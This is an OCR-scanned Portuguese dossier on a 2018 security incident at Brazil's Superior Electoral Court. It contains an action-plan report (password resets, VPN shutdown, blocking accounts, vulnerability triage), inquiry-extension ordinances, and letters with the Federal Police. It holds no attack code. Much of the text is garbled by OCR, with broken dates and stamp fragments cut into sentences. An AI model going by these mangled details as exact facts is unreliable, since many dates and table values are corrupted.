Qui 19/01/15 


Qui 10/0149 
Qui 10/01/19 
Sex 11/01/19 
Sex 11/0119 


Sex 11019 


Sex 11/01/19 


Sex 11/01/19 
Sex 11/01/19 


Sigilos 


Seg 1012118 SR/PF/DF 
Qui 10/01/18020. Q0A3195 


Qui 10/01/18 


Qui 10/0119 
Qui 10/01/19 
Qui 10/0119 


Qui 10/0119 
Qui 10/01/19 
Qui 10/01/19 
Qui 1001/19 


Qui 1001/19 
Qui 1001/19 
Qui 04/0418 
Qui 04/0419 


Qui 04/0419 


Qui 04/04/19 


Qui 04/04/19 
Qui 04/04/19 


come 
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Identificação 

1. Identificação da iniciativa 

Tipo de iniciativa: Plano de Ação 

Cliente: Giuseppe Dutra Janino - STI| 
Unidade executora: TSE.STI 
Gerente da iniciativa: Marcelo Lauriano Lúcio 
' Cronograma 

Período de referência do RDin: 07/11/2018 - 23/11/2018 Mn a 21/11/2018 

RDin gerado : Wylker Silveira Barros Gera do RDin: 23/11/2018 


2. Dados de execução da iniciativa 

















Duração Início Término 
Cronograma planejado 155 dias 07/11/2018 11/04/2019 
Cronograma previsto 155 dias (conforme planejado) 07/11/2018 11/04/2019 
3. Datas de formalização na CTTI 4. Indicadores 
Iniciação 21/11/2018 Entregas* s 100% 
Planejamento 21/11/2018 Prazo” À 83% 





* Percentual das entregas planejadas no periodo de referência 
** Percentual do trabalho planejado no período de referência 


Cálculo e legenda dos indicadores 


Nº Entregas Realizadas > 90% 
Nº Entregas Planejadas > 70% <90% 


Indicador de entregas = 


% Concluído Real <70% 


indicador de proso = ronciuido Planejado O Nãoapurado | 











5. Curva "S" — Prazo 


18% - 
16% 
14% — 
12% 
10% + 
8% - 
6% + 
4% + 
2% - 


o% + : ESA A A 
06/11/2018 08/11/2018 10/11/2018 12/11/2018 14/11/2018 16/11/2018 18/11/2018 20/11/2018 22/11/2018 24/11/2018 26/11/2018 
-— Planejado Realizado 
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Riscos Ativos 
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A Es RAS TI 
I Alta | Média | Baixa 
'Quantitativo 0 6 0 





2. Riscos com criticidade alta ou em nível de CTTI ou DG 


te do original apresentado, nos termos do S 1º do Art. 


al, LEONARDO BRUCE MADUREIRA LOPES, 


Eventos futuros incertos que podem afetar um ou mais objetivos do projeto. Neste relatório, são mostrados os riscos de alta criticidade e aqueles escalonados à CTTI ou à DG. 


Data de E Nível de Última atualização % 
Identificação Cuusa Efeito cructdado o Escalonamento realizada à E 
dd/mm/aaaa]º « 

Projeto não possui riscos de alta criticidade, nem escalonados à CTTI ou DG ira nana To E 

[dd/mm/aaaa]* as 
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Entregas 
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1. Principais entregas' no período 07/11/2018 - 23/11/2018 


& Com atraso RA Em dia ou adiantado ** Atividade sem linha de base 





% de Início Término | Início Realou Término Real k 
Conclusão Eso Planejado  Planejado? Previsto? ou Previsto ” ge 
[H00,00% Elaborar PA Abertura 08/11/2018 21/11/2018 08/11/2018 21/11/2018 






















400,00% Aprovação do PA Abertura 21/11/2018 21/11/2018 21/11/2018 21/11/2018 
[dono  Desigamento dos serviços do servidor amam  o7mMmOIs  OTNHOIB  orM1I2018 


Desligamento dos equipamentos do 

y ambiente de apresentação dos códigos- 07/11/2018 07/11/2018 07/11/2018 07/11/2018 
— fonte 

Bloqueio das contas da SEVIN nos 


E equipamentos servidores APP UF dos 07/11/2018 07/11/2018 07/11/2018 07/11/2018 
tribunais regionais eleitorais 
+ 400,00% desai prolinmiriar pa Froticia 07/1/2018  O7/MMI2018 07/11/2018 07/11/2018 


a presminas Gorm'a Poncia 07/11/2018 — O7M1/2018 07/11/2018 07/11/2018 


Estabelecer o escritório de crise com 
— 100,00% reuniões diárias 07/11/2018 12/11/2018 07/11/2018 12/11/2018 


— 100,00% Elaborar relatório complementar para a 42442048 4211/2018 42/11/2018 12/11/2018 
: Polícia Federal 
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Elaborar lista ordenada do nível de 

vulnerabilidade das aplicações do TSE. 

As de maior severidade serão 12/11/2018 12/11/2018 12/11/2018 12/11/2018 
encaminhadas à administração do TSE 

com recomendação de desativação 


Trocar senhas de rede de todos os Em 19/11/2018 já haviam sido alteradas 1.400 contas de 
— 90,00% usuários 12/11/2018 23/11/2018 12/11/2018 23/11/2018 add: 
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17933, em 04/11/2020, às 11h20. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 
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Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos 





TSE 

















Desabilitar VPNs, exceto das 


embaixadas 13/11/2018 


13/11/2018 


Planejar uma nova lacração 12/11/2018 23/11/2018 


Avaliar O risco sobre o vazamento do 
GEDAI-UE 


Mapear os compartilhamentos de pastas 


j locais 


Notificar os usuários e acompanhar os 
riscos da utilização de pastas 
compartilhadas 


» Verificar os equipamentos que estão 
com o antivirus desabilitado 
Elaborar estudo de viabilidade: 
Divulgação do código da uma e do 
GEDAI 
Notificar os usuários e chefes de seção 
sobre os equipamentos com antivirus 
desabilitado quanto aos riscos para a 
Instituição 


12/11/2018 16/11/2018 


12/11/2018 19/11/2018 





12/11/2018 16/11/2018 








12/11/2018 13/11/2018 


12/11/2018 16/11/2018 





12/11/2018 19/11/2018 





Notificar os tribunais regionais eleitorais 
quanto às ações locais: Trocar senhas 
de usuários; Definir política de troca de 
senhas; Desabilitar servidores de 
aplicação vulneráveis; Cancelar todas as 
VPNs 


12/11/2018 23/11/2018 





Segurança de perímetro: Revisar os 
mecanismos de segurança adotados 
pelo TSE e TREs no acesso de internet 


12/11/2018 23/11/2018 
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13/11/2018 


12/11/2018 


12/11/2018 


12/11/2018 


12/11/2018 


12/11/2018 


12/11/2018 


12/11/2018 


12/11/2018 


12/11/2018 


Relatório de desempenho 


13/11/2018 


23/11/2018 


16/11/2018 


19/11/2018 


16/11/2018 


13/11/2018 


16/11/2018 


19/11/2018 


23/11/2018 


2311/2018 


= m 
El 
SR/P 


de iniciativa - RDin 2020.00 


Foi aberto o Processo SEI nº 2018.00.000014771-4 e será 
encaminhada Informação ao Diretor-Geral para confirmação 
da agenda da Presidente para assinar os programas no dia 
13/12 às 18h e convidar os partidos e outras instituições. 
Caso a Presidente tenha agenda livre, a Cerimônia de 
Assinatura Digital e Lacração de Sistemas será realizada de 
11 a 13/12, com assinatura das autoridades no dia 13, às 
18h. 


Notificação realizada em 16/11/2018. 






11 da Lei 11.419/ 
17933, em 04/11/2020, às 11h20. 
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SO 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 


(2/61€60) (G2|L OpueJoua|N oe eIsOdsal) [IS | Lg OpueJousIN 


gy "Bd / £-60€t L0000'00'8LOZ IIS 


S 
Tribunal Superior Eleitoral 1. 





a Metodologia de Gerenciamento de Projetos Relatório de desempenho SR/PF 
D, de iniciativa - RDin 2020.00 
TSE 
Encaminhar expediente para a Diretoria- 
Geral solicitando que todos os Fiscais 
de Contratos do TSE informem Foi aberto o Processo SEI nº 2018.00.000014678-5 e, por 
periodicamente à STI situações de 12/11/2018 16/11/2018 12/11/2018 16/11/2018 | meio do Despacho GAB-DG 0912812, o Diretor-Geral 
desligamentos de colaboradores que encaminhou a solicitação à SAD para providências. 
fazem uso de recursos tecnológicos do 
TSE 








Avaliar criticidade e aplicar ações para 
0,00% | tratamento dos diretórios compartilhados 20/11/2018 03/12/2018 20/11/2018 03/12/2018 
na rede 








Aplicar ações para desativação ou 
0,00% | tratamento especifico das aplicações 13/11/2018 27/11/2018 13/11/2018 27/11/2018 
que apresentam vulnerabilidade 





* Consideram-se como entregas aquelas atividades do projeto que produzem produtos tangíveis, resultados ou serviços, os quais possuem valor 
mensurável e observável ao cliente do projeto, ou que sejam de seu especial interesse para acompanhamento. 

2 Término Planejado é determinado quando é feito o planejamento do cronograma, podendo ser replanejado no decorrer da iniciativa. 

* Consideram-se como Início Real entregas já iniciadas. Caso a entrega ainda não tenha sido iniciada, considera-se Início Previsto. 

4 Consideram-se como Término Real entregas concluídas. Caso a entrega ainda não tenha sido conluída, considera-se Término Previsto. 


Considerações 
Plano de ação formalizado em 21/11/2018. As atividades estão em andamento, conforme planejado. 
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11 da Lei 11.419/ 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


SO 


17933, em 04/11/2020, às 11h20. 


MATRÍCULA: 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 


Sigiloso 


SR/PF /DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 


Senhora Ministra Presidente, 


Visando ao cumprimento da Portaria-TSE nº 976/2018, a Comissão de Sindicância oficiou ao 
Departamento de Polícia Federal, em 20/11/2018, solicitando o compartilhamento dos resultados 
da investigação promovida por aquele órgão envolvendo os fatos descritos na Informação nº 32 
STI, solicitação que, por não ter sido atendida até o momento, foi renovada nesta data. 


Assim, tendo em vista o esgotamento do prazo originariamente fixado para conclusão do trabalho 
atribuído à Comissão de Sindicância, solicito a Vossa Excelência a prorrogação daquele prazo. 


Respeitosamente, 


RICARDO FIOREZE 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
8] Documento assinado eletronicamente em 31/01/2019, às 20:12, conforme art. 1º, 82º, III, 
b, da Lei 11.419/2006. 
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Este documento 2 o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Sigiloso 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 
Ofício nº 296 GAB-SPR 
Brasília, 01 de fevereiro de 2019. 


A Sua Excelência o Senhor 

Dr. MAURÍCIO LEITE VALEIXO 
Diretor-Geral da Polícia Federal 
Brasília - DF 


Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 
Senhor Diretor-Geral, 


Reiterando o Ofício nº 5979 GAB-SPR, de 20/11/2018, solicito a gentileza de, em 
caráter reservado, serem enviados a mim os resultados da investigação promovida por esse 
Departamento envolvendo as informações constantes na Informação nº 32 STI, enviadas a esse 
Departamento por meio do Ofício nº 5825 GAB-SPR. 


Atenciosamente, 


RICARDO FIOREZE 
Juiz Auxiliar da Presidência 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
| Documento assinado eletronicamente em 04/02/2019, às 09:33, conforme art. 1º, $2º, II, 
b, da Lei 11.419/2006. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 





A autenticidade do documento pode ser conferida em 






https://sei.tse.jus.br/sei/controlador externo.php? 





Ta acao=documento conferir&id orgao acesso externo=0O&cv=0963982&crc=B7C9FO9BA, 
ja informando, caso não preenchido, o código verificador 0963982 e o código CRC 
B7C9F9BA. 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE nº 84 de 01 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI nº 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


Ministra ROSA WEBER 


2018.00.000014309-3 Documento nº 0963985 vl 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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SR/PF/DF 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício nº 296 GAB-SPR 
Brasília, 01 de fevereiro de 2019. 


A Sua Excelência o Senhor 

Dr. MAURÍCIO LEITE VALEIXO 
Diretor-Geral da Polícia Federal 
Brasília - DF 


às 11h20. 


11 da Lei 11.419/2006. 


em 04/11/2020, 


Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 


do Art. 


Senhor Diretor-Geral, 


Reiterando o Ofício nº 5979 GAB-SPR, de 20/11/2018, solicito a gentileza de, em 
caráter reservado, serem enviados a mim os resultados da investigação promovida por esse 
Departamento envolvendo as informações constantes na Informação nº 32 STI, enviadas 
a esse Departamento por meio do Ofício nº 5825 GAB-SPR. 


Atenciosamente, 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


RICARDO FIOREZE 
Juiz Auxiliar da Presidência 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 


“| Documento assinado eletronicamente em 04/02/2019, às 09:33, conforme art. 1º, 82º, III, 


b, da Lei 11.419/2006. 


Std * https: //seitse,jus.br/sei/controlador externo.php? 
acao=documento conferir&id orgao acesso externo=0&cv=0963982&crc=B7C9FIBA, 
à informando, caso não preenchido, o código verificador 0963982 e o código CRC 
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Autenticado por Escrivao de Policia Federal, 
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TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE nº 84 de 01 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no 
Processo SEI nº 2018.00.000014309-3, 


RESOLVE: 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


Eu w hu 


Ministrá ROSA WEBER 


MATRÍCULA: 
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LEONARDO BRUCE MADUREIRA LOPES, 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


Autenticado por Escrivao de Policia Federal, 


https://sei.tse jus.br/sei/controla dor pap Zacas=documento (impor o Web&acao origerm=arvora Misualizarsde -documente=1022827&infra sistem... 1/1 


Sigiloso 


E-mail - 0969863 SR/PF/DF 


2020.0043195 


Data de Envio: 
08/02/2019 18:30:30 


De: 
TSE/Presidência <presidenciaotse.jus.br> 


Para: 
ricardo.fiorezeQtse.jus.br 
fernando.melloQtse.jus.br 
daniel.correaQtse.jus.br 


Assunto: 
Portaria TSE nº 84 


Mensagem: 

Senhores Membros, 
De ordem, informo a todos que foi prorrogada, por sessenta dias, o prazo para conclusão dos trabalhos di 
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


17933, em 04/11/2020, às 11h20. 


A Portaria será publicada no DJE em 12/02/2019. 


Respeitosamente, 


MATRÍCULA: 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Portaria 0969851 Portaria 84.pdf 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do ar 11 da Lei 11.419/2006. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 


Sigiloso 


Ano 2019, Número 030 Brasília, terça-feira, 12 de fevereiro de 2019 PágiRáPE /DF' 

E . 2020.0043195 
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PRESIDÊNCIA 





Atos da Presidência 


Portaria 


Prorrogação. Prazo. Trabalhos. Comissão de Sindicância. 


Portaria TSE nº 84 de 01 de fevereiro de 2019. 


11 da Lei 11.419/2006. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3, 


17933, em 04/11/2020, às 11h20. 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018. 


MATRÍCULA: 


Ministra ROSA WEBER 


LEONARDO BRUCE MADUREIRA LOPES, 


SECRETARIA JUDICIÁRIA 








Coordenadoria de Registros Partidários, Autuação e Distribuição 


Decisão monocrática 


PUBLICAÇÃO DE DECISÃO Nº 4/2019 CPADI 

PRESTAÇÃO DE CONTAS Nº 256-12.2015.6.00.0000 BRASÍLIA-DF 

REQUERENTE: PARTIDO TRABALHISTA NACIONAL (PTN) - NACIONAL / PODEMOS (PODE) - NACIONAL 
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS 

REQUERENTE: JOSÉ MASCI DE ABREU, PRESIDENTE 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS 


Autenticado por Escrivao de Policia Federal, 


REQUERENTE: MÁRCIA MARTINS PEREIRA CRAVO, TESOUREIRO 
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS 
REQUERENTE: FÁTIMA DE JESUS CHAVES, CONTABILISTA 
ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS 
MINISTRO GERALDO OG NICEAS MARQUES FERNANDES 
PROTOCOLO: 8.715/2015 





Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www .tse.jus.br 


Sigiloso 
Fi. 526 
E-mail - 0982691 SR/PF/DF 


2020.0043195 


Data de Envio: 
25/02/2019 15:59:29 


De: 
TSE/Presidência <presidenciaQtse.jus.br> 


Para: 
dg dpf.gov.br 
aedgdpf.gov.br 
cgab(rdpf.gov.br 


às 11h20. 


Assunto: 
Ofícios 5979/2018 e 296/2019 


Mensagem: 
Prezados Senhores, 


11 da Lei 11.419/2006. 


, em 04/11/2020, 


do Art. 
17933 


De ordem, solicito a gentileza de ser informado o andamento dado aos documentos encaminhados ao 
Departamento da Polícia Federal, relativamente aos ofícios 5979/2018 e 296/2019, considerando-se os 
prazos a serem observados pela Comissão de Sindicância do TSE. 


MATRÍCULA: 


Havendo alguma previsão para o atendimento, favor informar adicionalmente. 


Atenciosamente, 


nos termos do S 1º 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Oficio 0911585.html 
Oficio 0913985 Oficio 5825.pdf 
E mail 0918365.htm!l 
Oficio 0963982.htm!l 
Oficio 0965808 OF 296 GAB SPR.pdf 


LEONARDO BRUCE MADUREIRA LOPES, 


Este documento tem o mesmo valor probante do original apresentado, 


Autenticado por Escrivao de Policia Federal, 


Sigiloso 





SR/PF/DF 

Sérgio Carlos Trés E Silva ato pRnpREs 
De: Presidencia 
Enviado em: quinta-feira, 28 de fevereiro de 2019 17:07 
Para: Sérgio Carlos Trés E Silva 
Assunto: ENC: Envio do Ofício nº 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido 

conhecimento. 
Anexos: 28021900.PDF 


De: edvaldo souza nascimento Nascimento [mailto: edwalldioSOgmail.com] 

Enviada em: quinta-feira, 28 de fevereiro de 2019 16:42 

Para: Presidencia 

Assunto: Envio do Ofício nº 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido conhecimento. 


11 da Lei 11.419/2006. 


A Sua Excelência, o Senhor 


17933, em 04/11/2020, às 11h20. 


do Art. 


RICARDO FIOREZE 


Juiz Auxiliar da Presidência do Tribunal Superior Eleitoral 


MATRÍCULA: 


BRASÍLIA/DF 


De ordem do Excelentíssimo Senhor Delegado de Polícia Federal HUGO DE BARROS CORREIA, encaminho a Vossa Excelência 
o Ofício nº 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido conhecimento. 


Por oportuno, solicito a V.Exa, que confirme o recebimento deste expediente através deste e-mail. 


Respeitosamente, 


EDVALDO SOUZA NASCIMENTO 


ESCRIVÃO DE POLÍCIA FEDERAL 


MATRÍCULA Nº 926 - ESPECIAL 


TELEFONE SR/PF/DF - DELEFAZ 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í Ê 


(61) 20247595 


Sigilos 
Ep A 





SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasília/DF - CEP 70.610-902 


Ofício nº 1468/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 26 de fevereiro de 201 


o) 


em 04/11/2020, às 11h20. 


A Sua Excelência, o Senhor 

RICARDO FIOREZE 

Juiz Auxiliar da Presidência do Tribunal Superior Eleitoral 

Setor de Administração Federal Sul (SAFS), Quadra 7, Lotes 1/2- Tel.: (61) 3030-70 
CEP. 70070-600 - Brasilia/DF 


CÕ1 da Lei 11.419/200 


O 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhor Juiz Auxiliar, 


Visando instruir os autos do Inquérito Policial nº 1361/2018-4 
SR/PF/DF, informo a Vossa Excelência que o inquérito está em andamento, restan 
pendente, atualmente, análise por parte do Serviço de Repressão a Crim 
Cibernéticos do material encaminhado pelo TS 


gãentado, nos termos do S 1º do Art 


[o] 






Atenciosamente, 


/ ( R NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Classe Especial - Matrícula nº 16.179 


Correia 
Barros 
Hugo É - de Polícia Vedera, 
gia do DOR ISA PED 
PI 


Este documento tem o mesmo valor probante do original apr 
Autenticado por Escrivao de Policia Federal, LEONARDO páfico MADUREIRA LOPES, MATRÍCULA: 17933, 


IPLA 48092088 136 3: 8. 1/1 


Sigiloso 


SR/PF /DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 
Senhora Ministra Presidente, E E 
Visando ao cumprimento da Portaria-TSE nº 976/2018, a Comissão de Sindicância Ê = 
oficiou ao Departamento de Polícia Federal, em 20/11/2018, solicitando o E E 
compartilhamento dos resultados da investigação promovida por aquele órgão as 


envolvendo os fatos descritos na Informação nº 32 STI. 


do Art. 
17933 


Em resposta âquela solicitação, o Departamento de Polícia Federal informou que o 


inquérito lá instaurado se encontra em tramitação, no aguardo de análise, por parte 


MATRÍCULA: 


de área especializada daquele órgão, do material enviado por este Tribunal. 


Assim e dada a conveniência de aguardo do resultado da análise antes mencionada, 


nos termos do S 1º 


tendo em vista o iminente esgotamento do prazo por último fixado para conclusão 
do trabalho atribuído à Comissão de Sindicância, solicito a Vossa Excelência a 
prorrogação daquele prazo. 


Respeitosamente, 


LEONARDO BRUCE MADUREIRA LOPES, 


RICARDO FIOREZE 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 


JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 





Documento assinado eletronicamente em 28/02/2019, às 18:50, 
conforme art. 1º, 82º, II, b, da Lei 11.419/2006. 


Este documento tem o mesmo valor probante do original apresentado, 


Autenticado por Escrivao de Policia Federal, 


=] A autenticidade do documento pode ser conferida em 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE nº 173 de 28 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI nº 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


Ministra ROSA WEBER 
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TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE nº 173 de 28 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no 
Processo SEI nº 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


“Im Wu LA 
Ministra ROSA WEBER 
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Portaria 


Prorrogação. Trabalhos. Comissão de Sindicância. 


Portaria TSE nº 173 de 28 de fevereiro de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3, 
RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018. 


Ministra ROSA WEBER 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


Assessoria de Plenário 


Pauta de Julgamento 


MATRÍCULA: 


PAUTA DE JULGAMENTO Nº 15/2019 


Elaborada nos termos do artigo 18 da Resolução-TSE nº 23.478/2016, para julgamento dos processos abaixo relacionados. 


Pauta da Sessão Ordinária Jurisdicional de 12 de março de 2019. 


LEONARDO BRUCE MADUREIRA LOPES, 


AGRAVO REGIMENTAL NO AGRAVO DE INSTRUMENTO Nº 1-32.2017.6.11.0015 - CLASSE 6 - SÃO FÉLIX DO ARAGUAIA-MT 
(152 ZONA ELEITORAL - SÃO FÉLIX DO ARAGUAIA) 


RELATOR: MINISTRO ADMAR GONZAGA 

AGRAVANTES: PARTIDO POPULAR SOCIALISTA (PPS) - MUNICIPAL e Outros 
ADVOGADOS: ELLY CARVALHO JÚNIOR - OAB: 6132/MT e Outro 
AGRAVADOS: JANAILZA TAVEIRA LEITE e Outro 

ADVOGADOS: DANILO SCHEMBEK SOUZA - OAB: 19907/MT e Outra 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


AGRAVO REGIMENTAL NO RECURSO ESPECIAL ELEITORAL Nº 1-74.2017.6.10.0010 - CLASSE 32 - SÃO LUÍS-MA (102 ZONA 
ELEITORAL - SÃO LUÍS) 


Autenticado por Escrivao de Policia Federal, 


RELATOR: MINISTRO TARCÍSIO VIEIRA DE CARVALHO NETO 

AGRAVANTE: MINISTÉRIO PÚBLICO ELEITORAL 

AGRAVADO: PAULO VICTOR MELO DUARTE 

ADVOGADOS: JOSE EDUARDO RANGEL DE ALCKMIN - OAB: 2977/DF e Outros 





Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www .tse.jus.br 
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TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 
Senhora Ministra Presidente, E E 
Em razão da persistência da situação noticiada no expediente 0986569, Ê q 
reitero a solicitação lá contida, de prorrogação do prazo por último fixado para Ê . 
conclusão do trabalho atribuído à Comissão de Sindicância. SE 
Respeitosamente, à á 
8 A 
a 
o B 
RICARDO FIOREZE 3 E 
Presidente da Comissão de Sindicância E 
RICARDO FIOREZE i 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 





Documento assinado eletronicamente em 23/05/2019, às 09:2 , conforme art. 
1º, 82º, HI, b, da Lei 11.419/2006. 


LEONARDO BRUCE MADUREIRA LOPES, 


fa] A autenticidade do documento pode ser conferida em 
Erunga https://sei.tse jus.br/sei/controlador externo.php? 


Le: acao=documento conferir&id orgao acesso externo=O&cv=1050199&crc=0D1I6FFE 





bante do original apresentado, 


O. 


Autenticado por Escrivao de Policia Federal, 


Eta informando, caso não preenchido, o código verificador 1050199 e o código CRC 
ODIGFFEA. 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE nº 380 de 23 de maio de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR 
ELEITORAL, tendo em vista o contido no Processo SEI nº 
2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos 
trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018. 


Ministra ROSA WEBER 
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TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE nº 380 de 23 de maio de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI nº 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da 
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


Ê poli 
“Vu a 


Ministra ROSA WEBER 
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Atos da Presidência 


Portaria 


Prorrogação. Trabalhos. Comissão de Sindicância. 


Portaria TSE nº 380 de 23 de maio de 2019. 


11 da Lei 11.419/2006. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3, 
RESOLVE: 


17933, em 04/11/2020, às 11h20. 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018. 


MATRÍCULA: 


Ministra ROSA WEBER 


Instituição. Grupo de Trabalho. Ações. TSE. Desinformação e eleições. 


Portaria TSE nº 382 de 24 de maio de 2019. 


LEONARDO BRUCE MADUREIRA LOPES, 


Institui grupo de trabalho incumbido de elaborar propostas de novas linhas de ação do Tribunal Superior Eleitoral sobre 
desinformação e eleições. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuiçobes legais e regimentais, 
CONSIDERANDO a necessidade de estabelecer estratégias para o tema da desinformação nas eleições municipais de 2020, 


CONSIDERANDO o encerramento dos trabalhos do Conselho Consultivo sobre Internet e Eleições (Portaria-TSE nº 949/2017) — 
voltado ao estudo do fenômeno das fake news durante as eleições gerais de 2018, 


CONSIDERANDO a classificação, no grau de sigilo reservado, pelo então Secretário-Geral da Presidência do TSE, das atas 
reuniões do Conselho Consultivo, 


CONSIDERANDO o contido no art. 29 da Lei nº 12.527/2011 (Lei de Acesso à Informação), 


RESOLVE: 


